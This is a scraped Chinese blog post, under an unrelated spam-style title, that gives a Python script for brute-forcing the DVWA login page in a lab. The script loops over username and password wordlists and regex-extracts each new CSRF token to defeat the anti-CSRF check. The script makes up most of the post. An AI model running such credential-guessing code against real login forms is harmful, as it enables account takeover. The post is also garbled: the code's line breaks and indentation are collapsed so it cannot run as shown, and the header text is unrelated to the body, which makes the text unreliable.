当前位置：首页 > news >正文

自己做的网站怎么让别人访问推广赚钱app哪个靠谱

news 2026/4/7 0:14:07

自己做的网站怎么让别人访问,推广赚钱app哪个靠谱,c++手机编程软件,电商网站开发的背景目录写在前面使用方法相关代码写在前面最近在学习使用Burp Suite时发现其intruder模块无法实现多种模式的混合使用，就如想要暴力破解账号和口令两个区域并同时跟踪网页的csrf_token时BP似乎不能很方便的实现这一功能，于是自己在练习时就想到了用…

写在前面

使用方法

写在前面

最近在学习使用Burp Suite时发现其intruder模块无法实现多种模式的混合使用，就如想要暴力破解账号和口令两个区域并同时跟踪网页的csrf_token时BP似乎不能很方便的实现这一功能，于是自己在练习时就想到了用python脚本的方式来弥补BP中的这一欠缺，其中的核心便是用python中的正则匹配库实现对Response内容的分析和定位需要获取的内容

相关代码

import requests
import re# 填入请求地址
url = "http://192.168.160.131/DVWA/vulnerabilities/brute/"
# 填入请求头中的Cookie值
cookie = "security=high; PHPSESSID=ekjn7547iglbc0stpsef2m9gm3"
# 填入页面中下次一请求需要携带的csrf_token值
csrf_token = "99095598fea3cf9d615b2687747aaf5f"
bf_flag = False
# success为未知，但可以尝试出登陆失败的信息
success = ""
failure = "Username and/or password incorrect"
count = 0
# 定义正则表达式匹配规则，匹配某个input标签中name为user_token的字段的value值
# <input[^>]匹配以<input开始到>字符串
# 正则表达式的规则中+号后面的规则会继续对加号前面所匹配到字符串做处理，相当于层层筛选
# name=["\']user_token["\']匹配name="user_token"或name='user_token'字符串
# [^>]+value=["\']在input标签中，找到属性value=
# ([^"\']+)用来获取到匹配到的value中属性的值
# [^"\']+匹配非引号的字符
model = r'<input[^>]+name=["\']user_token["\'][^>]+value=["\']([^"\']+)["\']'with open("./user.txt", 'r') as file_usr:with open("./pswd.txt", 'r') as file_pwd:while not bf_flag:first = file_usr.readline()if not first:break# 在内层循环之前，重置文件指针到文件开头实现遍历file_pwd.seek(0)while not bf_flag:second = file_pwd.readline()if not second:breakfirst = first.strip()second = second.strip()count += 1response = requests.get(url = url,params = {"username":first, "password":second, "Login":"Login", "user_token":csrf_token},headers = {"Cookie":cookie})match = re.search(model, response.text)if match:# 获取正则表达式匹配到的内容，这里正常情况下只会匹配到一个，用.group(1)即可csrf_token = match.group(1)else:print("获取token失败，请检查匹配规则")if failure in response.text:print("第"+ str(count) +"次尝试--失败：",first + " " + second)else:print("第"+ str(count) +"次尝试--成功：",first + " " + second)bf_flag = True;break;